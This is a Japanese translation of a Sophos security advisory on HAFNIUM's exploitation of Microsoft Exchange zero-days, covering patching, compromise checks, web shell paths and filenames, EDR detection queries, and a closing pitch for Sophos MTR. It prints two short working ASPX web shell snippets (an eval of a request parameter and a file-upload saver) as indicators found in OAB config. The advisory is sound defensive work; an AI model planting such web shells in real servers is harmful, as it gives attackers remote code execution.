** 本記事は、HAFNIUM: Advice about the new nation-state attack の翻訳です。最新の情報は英語記事をご覧ください。**
3 月 2 日に Microsoft Exchange に影響するゼロデイの脆弱性が公開されました。国家支援型のサイバー攻撃組織と考えられている HAFNIUM によって、これらのゼロデイの脆弱性が実環境で攻撃されています。
HAFNIUM とは?
CISA のアラート情報の抜粋を以下に示します。
マイクロソフトは、Microsoft Exchange Server 2013、2016、2019 に影響を与える脆弱性を解決するため、緊急のセキュリティ更新プログラムをリリースしました。攻撃者は、リモートからコードを実行可能にする 3 つの脆弱性 (CVE-2021-26857、CVE-2021-26858、CVE-2021-27065) を攻撃し、影響を受けるシステムを乗っ取り、CVE-2021-26855 の脆弱性を攻撃して機密情報を窃取できます。これらの脆弱性に対する攻撃は、現在も実環境で続いています。.
また、CISA は 緊急指令を発行 し、オンプレミスの Exchange Server に速やかにパッチを適用し、攻撃を受けた兆候がないかネットワークを調査するように求めています。
HAFNIUM の詳細と対応方法のアドバイスについては、Sophos Managed Threat Response (MTR) チームの責任者である Mat Gangwer の次ビデオをご覧ください。
対応方法
1. パッチを適用するか、影響を受けるサービスを無効にする
自社環境にあるすべてのオンプレミスの Microsoft Exchange Server に関連するセキュリティ更新プログラムを適用します。詳細については、Microsoft の Exchange Team のブログをご覧ください。
パッチを適用できない場合は、IIS のリライトルールを実装し、ユニファイドメッセージング (UM)、Exchange コントロールパネル (ECP) の Vdir、およびオフラインアドレス帳 (OAB) VDir サービスを無効にします。詳細については、マイクロソフトセキュリティレスポンスセンターのブログをご覧ください。
2. 攻撃をすでに受けているかどうかを判断する
Microsoft Exchange チームが提供する Test-ProxyLogon.ps1 スクリプトをダウンロードして実行し、攻撃を受けているかどうかを確認してください。
パッチをインストールしていても、悪意のある Web シェルを使用した攻撃を防ぐことができない場合がありますので、注意してください。このため、影響を受けるサーバーを特定し、Web シェルを検索するために、Microsoft が提供しているスクリプトを使用することをお勧めします。
ソフォスの調査では、CVE-2021-26855 の悪用が最も多く確認されています。
このスクリプトを実行すると、.csv ファイルが作成されます。このファイルは、テキストエディタやスプレッドシートアプリケーションで内容を表示できます。
CVE-2021-26855 の脆弱性が攻撃された可能性のあるホストは、[HOSTNAME]-Cve-2021-26855.csv ファイルに表示されます。
「ClientIpAddress」列には、攻撃者のものと考えられるソース IP アドレスが表示されます。
「AnchorMailbox」列には、攻撃の標的になっている可能性のある Exchange で実行されているアプリケーションへのパスが表示されます。どのような攻撃が実行されているか把握するためには、AnchorMailbox から攻撃を受けている可能性のあるアプリケーションを抽出する必要があります。
たとえば、“ServerInfo~a]@[REDACTED]:444/autodiscover/autodiscover.xml?#” と表示されている場合、アプリケーション /autodiscover/ が攻撃に関連しています。
実行された攻撃を判断するには、%PROGRAMFILES%\Microsoft\Exchange Server\V15\Logging\{application} にあるログを確認する必要があります。
たとえば、%PROGRAMFILES%\Microsoft\Exchange Server\V15\Logging\autodiscover\ を確認します。
[HOSTNAME]-Cve-2021-26855.csv の「DateTime」列を参照すると、実行された可能性がある攻撃のタイムスタンプを確認できます。
3. Web シェルや攻撃の疑いのあるその他の.aspxファイルを調査します。
Web シェルは、以下のディレクトリに存在していることが確認されています。
- C:\inetpub\wwwroot\aspnet_client\
- C:\inetpub\wwwroot\aspnet_client\system_web\
- C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\
これらの Web シェルには以下のような名前が一般的に付けられています。
- (8 つのランダムな文字と数字)
- Regex: [0-9a-zA-Z]{8}.aspx
- aspnet_client.aspx
- aspnet_iisstart.aspx
- aspnet_www.aspx
- aspnettest.aspx
- discover.aspx
- document.aspx
- error.aspx
- errorcheck.aspx
- errorEE.aspx
- errorEEE.aspx
- errorEW.aspx
- errorFF.aspx
- healthcheck.aspx
- help.aspx
- HttpProxy.aspx
- Logout.aspx
- MultiUp.aspx
- one.aspx
- OutlookEN.aspx
- OutlookJP.aspx
- OutlookRU.aspx
- RedirSuiteServerProxy.aspx
- shell.aspx
- shellex.aspx
- supp0rt.aspx
- system_web.aspx
- t.aspx
- TimeoutLogout.aspx
- web.aspx
- web.aspx
- xx.aspx
4. Sophos EDR で使用するクエリ
Sophos EDR を使用している場合は、以下のクエリを使用して、攻撃に悪用されている Web シェルを検出および調査できます。
/* Query for known web shell names */ SELECT datetime(btime,'unixepoch') AS created_time, filename, directory, size AS fileSize, datetime(atime, 'unixepoch') AS access_time, datetime(mtime, 'unixepoch') AS modified_time FROM file WHERE (path LIKE 'C:\inetpub\wwwroot\aspnet_client\%' OR path LIKE 'C:\inetpub\wwwroot\aspnet_client\system_web\%' OR path LIKE 'C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\%') AND filename IN ('web.aspx','help.aspx','document.aspx','errorEE.aspx','errorEEE.aspx','errorEW.aspx','errorFF.aspx','web.aspx','healthcheck.aspx','aspnet_www.aspx','aspnet_client.aspx','xx.aspx','shell.aspx','aspnet_iisstart.aspx','one.aspx','errorcheck.aspx','t.aspx','discover.aspx','aspnettest.aspx','error.aspx','RedirSuiteServerProxy.aspx','shellex.aspx','supp0rt.aspx','HttpProxy.aspx','system_web.aspx','OutlookEN.aspx','TimeoutLogout.aspx','Logout.aspx','OutlookJP.aspx','MultiUp.aspx','OutlookRU.aspx');
/* Query for web shells with randomized 8 character names */ SELECT datetime(btime,'unixepoch') AS created_time, regex_match(filename, '[0-9a-zA-Z]{8}.aspx', 0) AS filename, directory, size AS fileSize, datetime(atime, 'unixepoch') AS access_time, datetime(mtime, 'unixepoch') AS modified_time FROM file WHERE (path LIKE 'C:\inetpub\wwwroot\aspnet_client\%' OR path LIKE 'C:\inetpub\wwwroot\aspnet_client\system_web\%' OR path LIKE 'C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\%');
このクエリで検出された Web シェルを表示すると、通常、Exchange オフラインアドレス帳 (OAB) の構成ファイル内の ExternalUrl フィールドにこの Web シェルが表示されます。例:
ExternalUrl : http://f/<script language=”JScript” runat=”server”>function Page_Load(){eval(Request[“key-here”],”unsafe”);}</script>
ExternalUrl: http://g/<script Language=”c#” runat=”server”>void Page_Load(object sender, EventArgs e){if (Request.Files.Count!=0) { Request.Files[0].SaveAs(Server.MapPath(“error.aspx”));}}</script>
5. 攻撃の影響を確認する
Web シェルが作成された後のプロセスとコマンドの実行を確認します。w3wp.exe (IIS Web サーバーワーカープロセス) の動作、および子プロセスとして実行されている csc.exe (C# コンパイラ) のインスタンスを調査してください。これらは、攻撃の影響を判断するために役立ちます。
Sophos Managed Threat Response (MTR) による攻撃の防止
今回の HAFNIUM のようなサイバー攻撃の脅威は、脅威ハンティングとレスポンスの専門家によるチームによって組織が保護され、安心して業務を継続できる例となります。
HAFNIUM のニュースが流れた後に、Sophos MTR チームはすぐに顧客の環境でこの攻撃に関連する活動がないか調査を開始しました。さらに、Sophos MTR チームは、すべての顧客の保護に万全を期すことができるように、攻撃に関連する新しい痕跡や IoC の検出も行いました。
Sophos MTR は常に稼働しており、顧客の状況を監視して問題が検出された場合に対応し、お客様を確実に保護します。(英語でのサービスとなります)
SophosLabs では、既知のアクティビティに関連する検出結果や、Exchange の脆弱性に関連する IOC も公開しています。これらの IOC を使用して、初期の攻撃後のアクティビティを検出することも可能です。
HAFNIUM による攻撃についての懸念がある場合には、Sophos MTR にご連絡(英語)ください。お客様の環境が攻撃を受けているかどうかを確実に特定し、攻撃の影響を無力化します。